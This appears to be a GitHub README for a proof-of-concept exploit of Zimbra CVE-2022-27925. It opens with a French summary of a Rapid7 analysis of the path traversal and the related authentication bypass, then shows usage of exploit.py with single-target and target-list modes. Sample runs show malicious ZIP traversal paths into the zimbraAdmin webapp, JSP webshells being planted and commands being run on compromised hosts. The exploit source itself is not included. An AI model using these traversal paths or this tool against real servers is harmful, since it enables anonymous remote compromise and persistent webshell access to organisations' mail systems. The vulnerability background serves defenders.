sanan2004/cve-2022-27925PoC
Le 10 mai 2022, Zimbra a publié les versions 9.0.0 patch 24 et 8.8.15 patch 31 pour corriger plusieurs vulnérabilités dans Zimbra Collaboration Suite, notamment CVE-2022-27924 (dont nous avons parlé précédemment) et CVE-2022-27925.
Initialement, Zimbra a qualifié CVE-2022-27925 d'attaque de traversée de chemin authentifiée, où un utilisateur administratif pouvait écrire des fichiers dans n'importe quel répertoire du système de fichiers sous le compte Zimbra. Comme on pensait initialement qu'il s'agissait d'une attaque réservée aux administrateurs, la NVD lui a attribué un score de base CVSS de 7,8. Plus tard, Volexity a remarqué que les attaquants exploitant cette vulnérabilité avaient trouvé un moyen de contourner les exigences administratives, et en a parlé le 10 août 2022. Ce nouveau contournement d'authentification a reçu un nouvel identifiant – CVE-2022-37042.
En combinant la vulnérabilité originale de traversée de chemin et le nouveau contournement d'authentification, les attaquants peuvent compromettre à distance un système Zimbra Collaboration Suite via le port administrateur (par défaut, 7071) de manière anonyme. Combinées à une vulnérabilité d'élévation de privilèges actuellement non corrigée dont nous avons récemment parlé et pour laquelle nous avons écrit un exploit, ces trois vulnérabilités entraînent l'exécution de commandes à distance en tant qu'utilisateur root sur les systèmes non patchés.
Bien que les avis publics ne le mentionnent pas, selon notre analyse, Zimbra Collaboration Suite Network Edition (l'édition payante) est vulnérable, et l'édition Open Source (gratuite) ne l'est pas (car elle ne possède pas le point de terminaison mboximport vulnérable). Les versions vulnérables sont :
Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (et versions antérieures)
Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (et versions antérieures)
Ces vulnérabilités (et d'autres dans Zimbra) sont ciblées pour une exploitation généralisée dans la nature, et doivent donc être corrigées ou mises hors ligne dès que possible. Si vous pensez avoir été compromis, Zimbra fournit des étapes pour reconstruire votre serveur Zimbra Collaboration Suite à partir de zéro sur le dernier patch sans perdre de données.
Source: https://attackerkb.com/topics/dSu4KGZiFd/cve-2022-27925/rapid7-analysis
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925
usage: exploit.py [-h] [-t TARGET] [-l LIST]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
URl with protocol HTTPS
-l LIST, --list LIST List of targets
root@root# python exploit.py -t zimbra.example.com
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925 Sanan Qasim
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/BQOQBN.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
root@root# python exploit.py -l targets.txt
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925 sanan Qasim
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable